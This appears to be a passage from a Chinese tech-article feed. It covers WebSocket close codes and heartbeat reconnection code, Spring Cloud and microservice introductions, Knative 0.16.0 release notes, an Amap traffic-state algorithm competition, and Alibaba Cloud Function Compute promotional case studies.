    1009 CLOSE_TOO_LARGE 由于收到过大的数据帧而断开连接.
    1010 Missing Extension 客户端期望服务器商定一个或多个拓展, 但服务器没有处理, 因此客户端断开连接.
    1011 Internal Error 客户端由于遇到没有预料的情况阻止其完成请求, 因此服务端断开连接.
    1012 Service Restart 服务器由于重启而断开连接.
    1013 Try Again Later 服务器由于临时原因断开连接, 如服务器过载因此断开一部分客户端连接.
    1014 由 WebSocket标准保留以便未来使用.
    1015 TLS Handshake 保留. 表示连接由于无法完成 TLS 握手而关闭 (例如无法验证服务器证书).
    1016–1999 由 WebSocket标准保留以便未来使用.
    2000–2999 由 WebSocket拓展保留使用.
    3000–3999 可以由库或框架使用.? 不应由应用使用. 可以在 IANA 注册, 先到先得.
    4000–4999 可以由应用使用.

    为了保证socket稳定,不断开,最好也是最简单的办法是添加一些逻辑,一直保持socket处在连接的状态。常见的做法就是间隔发ping消息给服务端,服务端接收到这个消息之后返回pong消息,以此来保持心跳,以防sock断开。我们常见的ping消息和pong消息实际上是发送了一个文本消息,这个消息的内容是ping或者pong,甚至是heatbeat等等,但是从socket协议来说是有设计ping消息和pong消息的。在socket的数据帧中,有一个opcode,它表明了socket的数据帧是什么类型的:

    • %x0:表示一个延续帧。当Opcode为0时,表示本次数据传输采用了数据分片,当前收到的数据帧为其中一个数据分片。
    • %x1:表示这是一个文本帧(frame)
    • %x2:表示这是一个二进制帧(frame)
    • %x3-7:保留的操作代码,用于后续定义的非控制帧。
    • %x8:表示连接断开。
    • %x9:表示这是一个ping操作。
    • %xA:表示这是一个pong操作。
    • %xB-F:保留的操作代码,用于后续定义的控制帧。

    规范的心跳应该是在opcode里定义type:ping(9)才对,消息的内容是null,什么都没有,这才是最轻量级最规范的websocket心跳机制。一般情况下,使用发文本消息的方式也是没啥问题的,无非就是多消耗了一点流量和带宽,调试起来也容易一些,有可能心跳消息本身就会带一些业务数据。
    js代码如下:

    var lockReconnect = false;  
    var ws = null;          
    var wsUrl = 'wss://127.0.0.1/socket'
    createWebSocket(wsUrl);  
    
    function createWebSocket(url) {
        try{
            if('WebSocket' in window){
                ws = new WebSocket(url);
            }
            initEventHandle();
        }catch(e){
            reconnect(url);
            console.log(e);
        }     
    }
    
    function initEventHandle() {
        ws.onclose = function (ev) {
            reconnect(wsUrl);
             console.log('socket 断开: ' + ev.code + ' ' + ev.reason + ' ' + ev.wasClean)
        };
        ws.onerror = function (ev) {
            reconnect(wsUrl);
            console.log("llws连接错误!");
        };
        ws.onopen = function () {
            heartCheck.reset().start();      
            console.log("llws连接成功!"+new Date().toLocaleString());
        };
        ws.onmessage = function (message) {    
            heartCheck.reset().start();      //拿到任何消息都说明当前连接是正常的
            console.log("llws收到消息啦:" +message.data);
            if(message.data!='pong'){
                var msg = JSON.parse(message.data);
            }
        };
    }
    
    // 当窗口关闭时,主动去关闭websocket连接
    window.onbeforeunload = function() {
        ws.close();
    }  
    
    function reconnect(url) {
        if(lockReconnect) return;
        lockReconnect = true;
        setTimeout(function () {     //没连接上会一直重连,设置延迟避免请求过多
            createWebSocket(url);
            lockReconnect = false;
        }, 2000);
    }
     
    var heartCheck = {
        timeout: 3000,       
        timeoutObj: null,
        serverTimeoutObj: null,
        reset: function(){
            clearTimeout(this.timeoutObj);
            clearTimeout(this.serverTimeoutObj);
            return this;
        },
        start: function(){
            var self = this;
            this.timeoutObj = setTimeout(function(){ 
                ws.send("ping");
                console.log("ping!")
                self.serverTimeoutObj = setTimeout(function(){
                  //如果超过一定时间还没重置,说明后端主动断开了
                    ws.close();      
                }, self.timeout)
            }, this.timeout)
        }
    }

    服务端Java代码:

    @OnMessage  
    public void onMessage(String message, Session session) {  
            if(message.equals("ping")){
    
            }else{
                   
            }
    }

    欢迎关注 “后端老鸟” 公众号,接下来会发一系列的专题文章,包括Java、Python、Linux、SpringBoot、SpringCloud、Dubbo、算法、技术团队的管理等,还有各种脑图和学习资料,NFC技术、搜索技术、爬虫技术、推荐技术、音视频互动直播等,只要有时间我就会整理分享,敬请期待,现成的笔记、脑图和学习资料如果大家有需求也可以公众号留言提前获取。由于本人在所有团队中基本都处于攻坚和探路的角色,搞过的东西多,遇到的坑多,解决的问题也很多,欢迎大家加公众号进群一起交流学习。

    【转载请注明出处】:https://blog.csdn.net/huahao1989/article/details/107804286

    image

    ]]>
    SpringCloud--微服务架构 Fri, 02 May 2025 09:39:03 +0800 @[toc]
    在这里插入图片描述

    微服务架构

    • 微服务架构是一种架构模式,它提倡将单一应用程序划分成一组小的服务,服务之间互相协调。互相配合,每个服务运行在其独立的进程中,服务与服务之间采用轻量级通信机制互相协作(通常基于HTTP协议的RESTful API)。每个服务都围绕这具体业务进行构建,并且能够被独立的部署到生产环境
      通俗的讲 就是 一个个springboot 开发出来的模块就是落地功能


    • 而我们 Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。Spring Cloud并没有重复制造轮子,它只是将各家公司开发的比较成熟、经得起实际考验的服务框架组合起来,通过Spring Boot风格进行再封装屏蔽掉了复杂的配置和实现原理,最终给开发者留出了一套简单易懂、易部署和易维护的分布式系统开发工具包。

    在这里插入图片描述

    • SpringCloud = 分布式微服务架构的一站式解决方案,是多种微服务架构落地技术的几何体,俗称微服务全家桶

    SpringCloud的基础功能:
    : 服务治理: Spring Cloud Eureka
    客户端负载均衡: Spring Cloud Ribbon
    服务容错保护: Spring Cloud Hystrix
    声明式服务调用: Spring Cloud FeignAPI
    网关服务:Spring Cloud Zuul
    分布式配置中心: Spring Cloud Config

    SpringCloud的高级功能:
    : 消息总线:Spring Cloud Bus
    消息驱动的微服务:Spring Cloud Stream
    分布式服务跟踪: Spring Cloud Sleuth

    ]]>
    Spring Cloud系列之微服务介绍 Fri, 02 May 2025 09:39:03 +0800 相信我,请认真读完,点开每一个链接,或许你才能真正了解什么是微服务?什么是分布式?什么是云计算?绝对没有多余!

    1 微服务

    微服务架构是“新常态”。构建小型的、自包含的、随时可以运行的应用程序可以为代码带来极大的灵活性和灵活性。spring boot的许多专门构建的特性使得在大规模生产中构建和运行微服务变得非常容易。别忘了,没有spring cloud,就没有一个微服务架构是完整的,它简化了管理,增强了您的容错能力。
    diagram-microservices-88e01c7d34c688cb49556435c130d352.svg

    1.1 什么是微服务?

    微服务是一种现代的软件方法,应用程序代码可以独立于其他程序以可管理的小块形式交付。

    1.2 为什么要构建微服务?

    它们的小规模和相对隔离可以带来许多额外的好处,例如更容易维护、提高生产力、更大的容错能力、更好的业务协调等等。

    2 Spring Cloud

    开发分布式系统可能具有挑战性。复杂性从应用层转移到网络层,要求服务之间进行更大的交互。使您的代码成为“本机云”意味着要处理12个因素的问题,例如外部配置、无状态状态、日志记录和连接到支持服务。spring cloud项目套件包含许多使应用程序在云中运行所需的服务。
    cloud-diagram-1a4cad7294b4452864b5ff57175dd983.svg

    2.1 Service discovery——服务发现

    在云中,应用程序不可能总是知道其他服务的确切位置。服务注册中心(如Netflix Eureka)或sidecar解决方案(如HashiCorp consur)都可以提供帮助。spring cloud为流行的注册中心提供了Discovery Client实现,比如Eureka、consur、Zookeeper,甚至Kubernetes的内置系统。还有一个spring cloud负载平衡器(Spring Cloud LoadBalancer),可以帮助您在服务实例之间小心地分配负载。

    2.2 API gateway——API 网关

    由于有如此多的客户机和服务器,在您的云架构中包含一个API网关通常是很有帮助的。网关可以负责保护和路由消息、隐藏服务、限制负载以及许多其他有用的事情。spring cloud gateway为您提供了对API层的精确控制,集成了spring cloud服务发现和客户端负载平衡解决方案,以简化配置和维护。

    2.3 Cloud configuration——云配置

    在云中,配置不能简单地嵌入到应用程序中。配置必须足够灵活,以应对多个应用程序、环境和服务实例,并在不停机的情况下处理动态变化。spring cloud config旨在减轻这些负担,并提供与Git等版本控制系统的集成,以帮助您确保配置的安全。

    2.4 Circuit breakers——断路器

    分布式系统可能不可靠。请求可能会遇到超时或完全失败。断路器可以帮助缓解这些问题,spring cloud断路器为您提供了三种流行的选择:Resilience4J、Sentinel或Hystrix。

    2.5 Tracing——追踪

    调试分布式应用程序可能很复杂,而且需要很长时间。对于任何给定的失败,您可能需要将来自多个独立服务的信息跟踪拼凑在一起。spring cloud sleuth可以以一种可预测和可重复的方式为您的应用程序安装工具。当与Zipkin结合使用时,您可以将注意力集中在任何可能存在的延迟问题上。

    2.6 Testing——测试

    在云计算中,拥有可靠、可信、稳定的api可以获得额外的分数,但要实现这一目标还需要一段旅程。基于契约的测试是高绩效团队经常使用的一种技术。它有助于规范化api的内容,并围绕它们构建测试,以确保代码始终处于检查状态。
    spring cloud contract通过使用Groovy、Java或Kotlin编写的契约,为REST和基于消息传递的api提供基于契约的测试支持。

    3 流数据

    spring cloud stream使得使用和生成事件变得非常容易,无论您选择哪个消息传递平台。spring cloud stream只需几行代码就可以将您的微服务与实时消息传递连接起来,以帮助您构建高度可伸缩、事件驱动的系统。
    Get started with Spring Cloud Stream

    4 管理微服务

    spring boot的可选仪器框架microller直接将度量发送给Prometheus、Atlas等,以提供有价值的见解。spring cloud的Sleuth和Zipkin项目补充了这一点,它们提供了分布式跟踪,以便您能够实时跟踪正在发生的事情。
    Get started with Micrometer on Spring Boot

    5 云计算

    微服务的小型、无状态特性使其成为水平扩展的理想选择。像TAS和PKS这样的平台可以提供可扩展的基础设施来匹配,并大大减少您的管理开销。使用云连接器,您还可以轻松地使用多个后端服务。
    Try Pivotal Web Services for free

    6 链接

    Spring Cloud系列

    Spring Cloud系列之微服务介绍
    [Spring Cloud系列之微服务注册中心]()
    [Spring Cloud系列之微服务统一配置中心]()
    [Spring Cloud系列之微服务RPC]()
    [Spring Cloud系列之微服务服务监控]()
    [Spring Cloud系列之微服务链路跟踪]()
    [Spring Cloud系列之微服务授权与认证]()

    关于

    我是冯文议(Erwin Feng),Java Developer,专注于程序设计与开发。开源项目:JavaLib、api-result。喜欢电影、游戏、音乐、茶、旅行。
    我的个人网站:https://fengwenyi.com
    我的Github:https://github.com/fengwenyi

    ]]>
    云原生语境下,如何重新解读微服务? Fri, 02 May 2025 09:39:03 +0800 头图.png

    最近,O’Reilly 公布了一份关于企业微服务市场现状的数据调研。报告显示,在访问了全球 1,502 名软件工程师、系统和技术架构师、工程师以及决策者后,有 77% 的组织反馈采用了微服务,其中 92% 的组织成功使用了微服务。

    1.png

    如果以这份报告为依据,微服务在企业的普及率已接近八成。看起来,企业对微服务的兴趣可能已经接近顶峰。云原生的基础设施从设计上保证了它是微服务部署的最佳平台,但是也对现有的微服务框架带来了新的挑战,在云原生大行其道的今天:

    • 我们对微服务还应该继续投入精力关注吗?
    • 云原生和微服务之间的关系是什么?
    • 随着 Serviece Mesh 等技术的不断成熟,微服务的体系和思想会产生怎样的演化?
    • Spring Cloud、Dubbo 还会继续作为微服务开发框架的继续流行下去吗?
    • 容器、Kubernetes、ServiceMesh、Serverless 这些云原生时代的主角,会如何助力下一代微服务架构为业务发展赋能?

    这些问题值得每一位技术从业人员去思考,并发现由此带来的企业数字化转型升级新挑战、新机遇。也许有同学会说:“上个阶段微服务架构的问题都还没解决,又来了个‘云原生时代的微服务’,我这从哪儿开始学起啊?”

    来,从这儿开始!

    2.png

    2020 云原生微服务大会

    为推动云原生下的微服务技术发展和实践交流,由阿里云主办的首届“云原生微服务大会”将于 2020 年 8 月 18-19 日在线上召开。本次大会聚焦微服务架构前沿发展和业界最佳实践,重点探讨云原生语境下微服务的挑战和技术趋势,帮助企业技术决策者、架构师、开发者们迎接云原生时代的到来。

    点击活动官网预约大会直播:https://developer.aliyun.com/topic/microservices2020#/

    25 位全球专家共同解读云原生语境下的微服务定义

    我们一直在强调微服务带来的好处,但另一方面,随着业务规模越来越大,拆分的服务实例越来越多,传统的微服务架构中关于服务之间的交互,服务发现、监控、容错性、日志收集和服务熔断等的处理也越来越困难。今天,以容器、服务网格、微服务、Serverless 为代表的云原生技术,带来一种全新的方式来构建应用,也使这些挑战有了可解的办法。

    3.png
    2020 云原生微服务大会嘉宾(部分)

    8 月 18 日 - 19 日的 2020 云原生微服务大会,我们将特邀微软云首席软件工程师白海石,前Red Hat首席架构师、istio in action 作者、solo.io Field CTO Christian Posta,Spring 布道师 Josh Long,阿里云资深技术专家 & CNCF TOC 李响,南京大学软件工程教授 & 微服务方向专家张贺等 25 位全球微服务领域先行者和权威技术专家,深度探讨微服务架构在云原生时代的发展趋势、业界最佳实践和创新应用案例,一定会让你转变思维,重新审视微服务的思想、核心技术和落地路径。

    5 大专场聚焦下一代微服务核心技术和实践

    主论坛:08/18 09:00-12:00

    云原生语境下,微服务也被赋予了新的意义,支持新的应用范式,承载新的计算价值。主论坛邀请多位技术领袖深度探讨云原生趋势下,微服务技术的实践和演进方向。

    微服务开源专场:08/18 14:00-16:30

    在微服务架构的落地和演进的过程中,微服务开源项目日益繁荣并不断赋能开发者。本论坛将聚焦微服务领域热门开源技术的落地实践,与开发者探讨微服务架构开源发展及未来趋势。

    云原生架构专场:08/18 16:30-19:00

    云时代下,企业需要新技术架构,使之更好地利用云计算优势,让业务更敏捷、成本更低、可伸缩性更强,而云原生架构的应用意义正在于此。本论坛将专注探讨云原生架构落地时面临的挑战与解决方案。

    前端全栈专场:08/19 14:00-16:30

    伴随着云+端、Serverless 等技术的发展,势必给前端带来更大的场景与机会,前端即将进入黄金时代。本专场将邀请行业专家深入探讨前端全栈实践问题及趋势。

    超大规模实践专场:08/19 16:30-19:00

    当前云原生微服务化落地的场景多样,行业已有很多生产环境下的实战案例,本专场将邀请来自掌门教育、爱奇艺、携程、中国工商银行的行业专家,在云原生微服务视角下探讨超大规模场景下的实践经验。

    点击链接:https://developer.aliyun.com/topic/microservices2020#/,登录活动官网 ,即可预约 2020 云原生微服务大会在线直播,查看完整精彩内容,还有更多有奖互动环节等你参与!

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    解读Knative 0.16.0版本特性 Fri, 02 May 2025 09:39:03 +0800 前言

    Knative 0.16.0 版本已于近期发布,针对 Knative v0.16.0 版本对这些新功能特性进行解读,让你快速对新版本特性有所深入了解。

    从Knative 0.16.0开始,k8s 最小支持版本为:1.16。

    Serving

    Autoscaling-自动扩缩容

    优化缩容时对不可达 revision 处理

    当revision reachable时,没有必要再采用步长缩容对逻辑,直接缩容到0即可。

    移除 PodAutoscaler custom metrics API

    custom metrics API的之前主要作用是提供给 HPA 用于支持基于请求的并发数的metric指标,但是安装custom metrics API 会对 k8s 侵入性太强,另外custom metrics API 对于apiserver的代码维护也带来了问题。针对这些问题,从0.16.0版本开始不再支持custom metrics API。

    核心 API

    多容器支持

    社区终于在0.16.0开始进行多容器支持(尽管当前是alpha)。可以在config-features 配置文件中通过设置“multi-container” 为 “enabled” ,开启多容器特性。

    环境变量支持downwards API

    可以在config-features 配置文件中通过设置“kubernetes.podspec-fieldref” 为 “enabled” ,开启环境变量支持downwards API 。

    webhooks 高可用支持

    通过leader选举支持webhooks主备高可用。

    Networking-网络

    支持通过Header中Tag进行路由选择

    在服务请求的Header中,可以通过指定tag,来访问tag对应的revision版本。
    例如:如果请求访问 http://svc-name.ns.svc 服务,并且在Header中设置了:Knative-Serving-Tag:tag-name, 那么该请求就会路由到http://tag-name-svc-name.ns.svc 对应的revision 服务。

    knative-serving namespace删除istio注入标签

    当前knative-serving namespace的istio注入标签已经没有实际的应用,因此在0.16.0版本中从 knative-serving namespace中移除istio-injection=enabled标签

    Eventing

    V1版本支持

    从0.16.0开始,以下资源提供了v1版本支持:

    • Subscription
    • Channel
    • InMemoryChannel
    • Broker
    • Trigger
    • Sequence
    • Parallel

    这意味着Event这部分功能日渐成熟。

    新增sugar-controller

    引入一个 sugar-controller 主要用于调和 Namespace 和 Trigger,同时会从核心controller中移除Namespace reconciler和 Trigger reconciler

    PingSource 事件接收高可用支持

    当前接收PingSource adapter通过leader选举支持主备高可用部署。

    总结

    随着Knative 0.16.0 版本的发布,社区越来越关注用户 Knative 实际使用中的诉求, 如多容器支持、通过Header中Tag进行路由选择等。相信在后续的版本中会提供更多实用的功能来满足不同的 Serverless 场景实际运用。欢迎有兴趣的同学一起交流。

    欢迎加入 Knative 交流群

    image.png

    ]]>
    十年中间件最佳实践集锦,八月福利大放送 Fri, 02 May 2025 09:39:03 +0800 轻松应对业务增长,阿里云为在线教育“定制”丰富的中间件,助力提升系统稳定性、灵活性和反脆弱性,通过消息队列,让你的业务沟通无畅,信息不丢失,还有全年优惠大放送!
    活动链接:https://www.aliyun.com/activity/daily/aioe?spm=5176.12825654.a9ylfrljh.d114.e9392c4aCTHfz0&scm=20140722.2478.2.2461
    9C1BFD7E-DA5B-48A1-B10B-DC1DD961C626.png

    ]]>
    高德地图 AMAP-TECH 算法大赛火热进行中······ Fri, 02 May 2025 09:39:03 +0800 image.png

    阿里巴巴高德地图 AMAP-TECH 算法大赛于 7 月 8 日开启初赛,赛题为「基于车载视频图像的动态路况分析」,活动邀请了业界权威专家担任评委,优秀选手不仅可以瓜分丰厚的奖金,领取荣誉证书,还有机会进入高德地图【终面通道】!赶紧邀请小伙伴一起来参赛吧。

    报名请戳:

    https://tianchi.aliyun.com/competition/entrance/531809/introduction

    下面给大家介绍下大赛详情。

    背景

    高德地图每天会为用户提供海量的定位和路线导航规划服务,其所提供的路况状态信息(即道路交通是拥挤、缓行还是畅通)的准确性会影响到用户在出行过程中的决策和体验。传统的路况状态主要依靠驾车用户的轨迹信息生成。在用户少、驾驶行为异常的道路上,这种方法难以保证路况状态的准确性。

    车载视频图像包含了更多的信息量,给了我们另外一个解决问题的视角。通过视频或图片,可以观察到路面的真实状态,包括机动车数量、道路宽度和空旷度等等。基于车载视频图像可以获取更准确的路况状态,为用户出行提供更高质量的服务。

    本赛题要求参赛者通过计算机视觉等人工智能算法,基于视频图像中识别到的路面信息来判断道路通行状态,提高道路路况状态判断的准确性,从而提升高德地图用户的出行体验。

    赛题描述及数据说明

    术语说明

    路况:根据道路的平均车速、道路等级,对道路上车辆通行状态的描述,分为畅通、缓行、拥堵三个等级,在高德地图上显示为绿色、黄色、红色,如图1所示。

    参考帧:存在图像序列内路况状态渐变的情况,每个图像序列存在一幅参考帧图像,参考帧时刻的路况状态为该图像序列的真值路况状态。

    image.png

    图1. 路况状态示意图

    问题定义

    输入:给定一组含有 GPS 时间的图像序列(包含 3-5 帧图像),其中一幅图像作为参考帧。

    输出:以参考帧为准,输出该图像序列对应的路况状态(畅通、缓行和拥堵)。

    如下图所示,该序列包含 3 帧图像,其中第 3 帧图像为参考帧。算法需要基于整个序列,推断路况状态。当图像序列内的路况状态不一致时,以参考帧为准。

    image.png

    图2. 路况判断流程示意

    图像序列由行车记录仪拍摄,路况真值(ground truth)是对应道路当前时刻真实的路况状态。大部分场景下,前方车辆的数量和密度决定了路况状态,但是也存在一些其他情况供参赛选手参考:

    • 行驶道路存在大量路边停车,但不影响车辆行驶,实际路况状态为畅通。
    • 跟车距离较近,前车遮挡视野内道路的情况,影响对当前路况的判断。
    • 行驶在双向道路,对向车道拥堵,行驶车道路况状态为缓行或畅通。
    • 相机安装存在角度偏差,可能会影响路况判断。

    数据说明

    数据集分为预赛数据集和复赛数据集,预赛数据集先公布,仅供预赛使用。复赛数据集等预赛结束后公布,复赛中也可以使用预赛数据集。预赛数据集包括训练集和测试集。训练集合有 1500 个序列、共约 7000 幅图像;测试集合为 600 个序列、共约 2800 幅图像。预赛数据集包含不同等级的道路,包含高速路、城市快速路、普通道路等。路况真值类型的分布情况约为畅通 70% 、缓行 10% 、拥堵 20% 。路况真值主要基于参考帧标注。路面车辆较多的情况下,在标注时结合了序列中其他帧的信息。

    数据格式

    数据组织是以图像序列为单位,每个文件夹包含参考帧和其前后相邻帧的图像序列,图像序列最多为 5 帧图像。

    提供数据中包含以下信息:

    • 图像序列的参考帧图像名。
    • 图像序列的路况状态。
    • 0:畅通,1:缓行,2:拥堵,-1:测试集真值未给出。
    • 每帧图像采集时刻的 GPS 时间。
    • 单位为秒。如 GPS 时间 1552806926 比 1552806921 滞后 5 秒钟。

    提供 JSON 格式标注文件,具体数据格式示意如下:

    "status": 0 畅通,1 缓行,2 拥堵,-1 未知(测试集默认状态为-1)
    {

    "annotations": [
        {
            "id": "000001",
            "key_frame": "2.jpg",
            "status": 0,
            "frames": [
                {
                    "frame_name": "1.jpg",
                    "gps_time": 1552806921
                },
                {
                    "frame_name": "2.jpg",
                    "gps_time": 1552806926
                },
                {
                    "frame_name": "3.jpg",
                    "gps_time": 1552806931
                },
                {
                    "frame_name": "4.jpg",
                    "gps_time": 1552806936
                }
            ]
        },
        {
            "id": "000002",
            "key_frame": "3.jpg",
            "status": 2,
            "frames": [
                {
                    "frame_name": "1.jpg",
                    "gps_time": 1555300555
                },
                {
                    "frame_name": "2.jpg",
                    "gps_time": 1555300560
                },
                {
                    "frame_name": "3.jpg",
                    "gps_time": 1555300565
                },
                {
                    "frame_name": "4.jpg",
                    "gps_time": 1555300570
                },
                {
                    "frame_name": "5.jpg",
                    "gps_time": 1555300580
                }
            ]
        }
    ]

    }

    评价方式

    路况包含通畅/缓行/拥堵三种状态,比赛评分考量每个图像序列的路况分类的准确情况,采用加权 F1 Score 作为算法评价指标。

    image.png

    image.png
    image.png

    权威专家评委团

    为体现比赛的专业性,我们邀请到了多位权威专家来担任评委,包括:北京大学教授 查红彬、中科院自动化所研究员 王亮、阿里巴巴高德地图技术委员会主席 李小龙(聪云)、阿里巴巴高德地图首席科学家 任小枫、阿里巴巴达摩院自动驾驶实验室负责人 王刚(永川)。同时,阿里巴巴高级算法专家郝志会担任本次比赛的明星师兄,他们将为参赛团队提供最为专业的指导。

    赛程、参赛对象

    本次大赛分为初赛、复赛及决赛三个阶段:
    报名(7月8日-8月28日,UTC+8)。
    初赛(7月8日-8月31日,UTC+8)。
    复赛(9月4日-10月13日,UTC+8)。
    决赛(10月下旬,具体时间待定,UTC+8)。

    数据集将于 7 月 8 日正式开放下载。7 月 20 日10:00 AM 以后可以在线提交测试集的路况识别结果( JSON 文件格式)进行评测。评估程序根据真值,计算选手得分。

    大赛面向全社会开放,个人、高等院校、科研单位、企业、创客团队等人员均可报名参赛,个人参赛或组队均可,组队人数上限为3人。

    奖项设置

    冠军:1支队伍,奖金6万元人民币+获奖证书。
    亚军:1支队伍,奖金4万元人民币+获奖证书。
    季军:1支队伍,奖金2万元人民币+获奖证书。
    优胜奖:2支队伍,每支队伍奖金1万元人民币+获奖证书。

    复赛审核通过的排名前 10 的队伍将有机会进入阿里巴巴高德地图校招绿色通道。
    (上述奖项以方案评审及线上实战总决赛后的最终名次决定)

    拉上小伙伴来参赛吧!

    参赛者交流

    扫描以下二维码或搜索钉钉群号 31160357 加入,重要节点通知会在群内第一时间告知,如对本次赛事、赛题及赛制有任何疑问,也可在群内@任意管理员提问。

    image.png

    ]]>
    轻松处理高于平常10倍的视频需求,还能节省60%的IT成本,蓝墨做对了什么? Fri, 02 May 2025 09:39:03 +0800 zljuutym.jpg
    近年来,Serverless 一直在高速发展,并呈现出越来越大的影响力。主流的云服务商也在不断地丰富云产品体系,提供更好的开发工具,更高效的应用交付流水线,更好的可观测性,更细腻的产品间集成,但一切才刚刚开始。

    国内一些大公司已经有了一些成熟的Serverless应用案例,一些创业公司也开始加入Serverless阵营,如果说Serverless到底解决了什么问题,核心就是节约成本、节省精力。

    蓝墨是一家由美国留学生回国创业的高科技公司,专注于移动互联时代数字出版和移动学习领域的新技术研究及平台运营,依托自主研发的蓝墨移动交互式数字教材核心技术体系,为出版社、学校和教师提供移动交互式数字教材、校园移动学习平台及教师自助数字出版等解决方案。

    自2012年成立以来,蓝墨的业务就一直保持着高速增长,其技术团队也在逐步发展壮大。从创业开始,蓝墨的技术团队对于一些开放的新技术抱有极大的热情,并愿意应用快速迭代的互联网新技术,来确保其业务系统稳定运行。在疫情期间,在线教育迎来需求爆发,蓝墨加大了整合业界优质课程资源的力度,不断拓展自身的业务边界,在赢得机遇的同时,技术团队也面临了前所未有的挑战。

    视频处理相关业务是蓝墨技术团队遇到的最棘手的问题之一。蓝墨每天都要处理大量视频教材资源,涉及到视频剪辑、切分、组合、转码、分辨率调整、客户端适配等一系列复杂的技术工作。在前几年的技术实践中,蓝墨技术团队通过FFmpeg等技术已经建立起一整套自主可控视频处理机制,支撑了业务的快速发展。但今年的业务增长速度是蓝墨的工程师们始料未及的,高峰期数十倍于往年的视频处理需求让现有的架构不堪重负,严重影响了用户体验。

    怎么办?蓝墨技术团队的第一个想法是扩容!

    水平扩容是能够立竿见影解决问题的,但在全天范围内,视频处理的需求量存在极为陡峭的波峰波谷,大量的任务发生在几个高峰时间段,而且具有一定程度上的突发性。如果按照最高峰期的需求量来规划系统容量,会造成计算资源的大量浪费,而且最高峰期的需求量到底是多少,也是很难预判的。如果采用错峰处理的方式,可以降低计算资源成本,但对于用户的需求得不到及时的处理。

    水平扩容方案因此被放弃。

    如果水平扩容走不通,能不能从视频处理的角度提升效率。比如使用云厂商提供的视频转码服务,类似于BaaS的方式。这样的方案可以完全不用考虑容量规划的问题,根据实际业务量按需调用云服务即可。看似可行,但是结合蓝墨自身业务的实际情况,技术团队又陷入了犹豫。蓝墨的视频处理机制做得非常精细,这里面包含着大量自定义的业务逻辑,需要使用代码来实现,而这些功能是第三方的视频转码服务根本无法实现的。

    推倒重来!蓝墨现在的核心诉求概括有三个:节省成本、极致弹性、免运维,而这些恰恰是Serverless最擅长解决的问题。经过对国内云厂商提供的Serverless服务的多方面调研后,蓝墨技术团队一致认为在视频处理领域阿里云函数计算是最适合他们的方案。

    函数计算(Function Compute,简称FC)是一个事件驱动的全托管 Serverless 计算服务,对于使用者而言,无需管理服务器等基础设施,只需编写代码并上传,函数计算会准备好计算资源,并以弹性、可靠的方式运行代码。由于FC完全兼容现有的代码逻辑,也能够支持各类主流的开发语言,所以蓝墨技术团队可以把代码逻辑以近乎无缝衔接的方式从原有的架构迁移到FC上,并且成本极低。通过对接OSS触发器,只要OSS上有新的视频源文件上传,就能自动拉起函数计算实例,开启一次视频处理业务的生命周期。通过整合Serverless工作流,还能对分布式任务进行统一编排,实现对于大文件切片后进行并行处理并最终合并的复杂操作,更进一步的提升了处理效率。

    对于蓝墨的技术团队而言,函数计算是一种完全按需调用的Serverless化方案,能够充分利用云计算的弹性能力。一方面,函数计算FC能够在短时间内迅速调集上万个实例的计算资源,实现视频处理任务的快速执行;另一方面,由于不需要预留计算资源,也不需要对底层的软硬件进行维护,可以极大地降低运营成本,让蓝墨技术团队更专注于复杂业务逻辑的实现上。相比于传统的方式,基于函数计算FC的Serverless方案在视频处理场景下,可以帮助蓝墨节省了60%左右的IT成本投入。
    image.png
    Serverless的价值不言而喻。阿里云是国内最早一批推出Serverless计算服务的企业,函数计算(Function as a Service)更是 Serverless 中最具代表性的产品形态。可以说,蓝墨并不是第一家享受到函数计算FC巨大价值的企业,新浪微博、石墨文档、芒果TV等都是函数计算的拥趸者。前不久,在2020可信云线上峰会上,阿里云函数计算FC通过了基础能力要求、平台可观测能力、服务性能、服务和服务计量准确等21项测试,以全部满分的成绩通过了可信云函数即服务能力认证。此前,在Forrester发布的报告中,阿里云函数计算被给予“强劲表现者”的评价。

    除了拓展更加丰富的产品形态,阿里云函数计算也不断优化用户体验,包括做了硬盘挂载、预留实例、镜像加速、大规模实例等业内领先的实践,真正把用户需求放在首位,沉下心来做对用户更有价值的产品。

    所以,蓝墨才会坚定地选择函数计算,并在视频处理之外的其他业务领域,积极探索可以进行Serverless化改造的场景,成功落地了FC和日志服务的集成。当日志以流的方式源源不断写入时,日志服务会自动触发函数计算FC对数据进行处理,分析日志中的重要信息,实现异常事件的报警,并按照业务规则把日志进行压缩、转换后存放到其他媒介中,从而更好地保障系统稳定高效运行。

    蓝墨技术团队负责人表示,将来蓝墨会将更多场景与函数计算FC进行整合,充分享受云原生的技术红利,提升整个团队的战斗力。而阿里云也将一直与用户站在一起,打赢接下来每一场漂亮的战斗!

    【加入阿里云在线教育客户交流钉钉群】

    欢迎扫码加入在线教育行业客户交流钉钉群,阿里巴巴众多专家将在群内定期分享行业最佳实践和前沿技术干货,扫码入群,与更多行业精英互动交流。扫码或搜索钉钉群号均可加入:35712134。

    test

    【填问卷抽淘公仔-阿里云中间件用户调研】

    点击链接,一分钟填问卷抽淘公仔:
    https://survey.aliyun.com/apps/zhiliao/YmW95Gk8bU

    【更多干货】:
    1、点击链接了解更多在线教育案例、最佳实践、优惠活动:
    https://www.aliyun.com/activity/daily/aioe
    2、点击 阿里云函数计算 了解更多实践案例。

    ]]>
    金蝶天燕加入阿里云原生合作伙伴计划并发布金融行业服务治理联合解决方案 Fri, 02 May 2025 09:39:03 +0800 huagai_VCG21gic19202788_RF_2M.JPG
    近日,金蝶天燕与阿里云正式签订“云原生合作伙伴计划协议”并联合推出金融行业服务治理解决方案,提升数字化运营效率。对此,阿里云云原生生态负责人宁晓民说:“金蝶天燕是中间件行业的领导厂商,是阿里云在金融行业的重要合作伙伴,此次合作后,双方将自身优势强强联合,共同推动金融行业数字化转型。

    数字化时代,微服务、分布式结构逐渐成为主流,云原生已成为云计算的技术趋势。阿里云在云原生领域的投入广泛而深入,在容器、服务网格和 Serverless 等领域均有丰富的技术和产品体系。然而随着业务发展,IT服务越来越多,如何协调各种服务,保障服务的SLA(服务级别协议,保障服务品质、水准、性能),对服务架构和运维人员是一个很大的挑战。为了满足服务线下管控、保障线上高效运行,需要有一个统一的服务治理平台对服务进行统一、有效管控,保障服务的高效、健康运行。

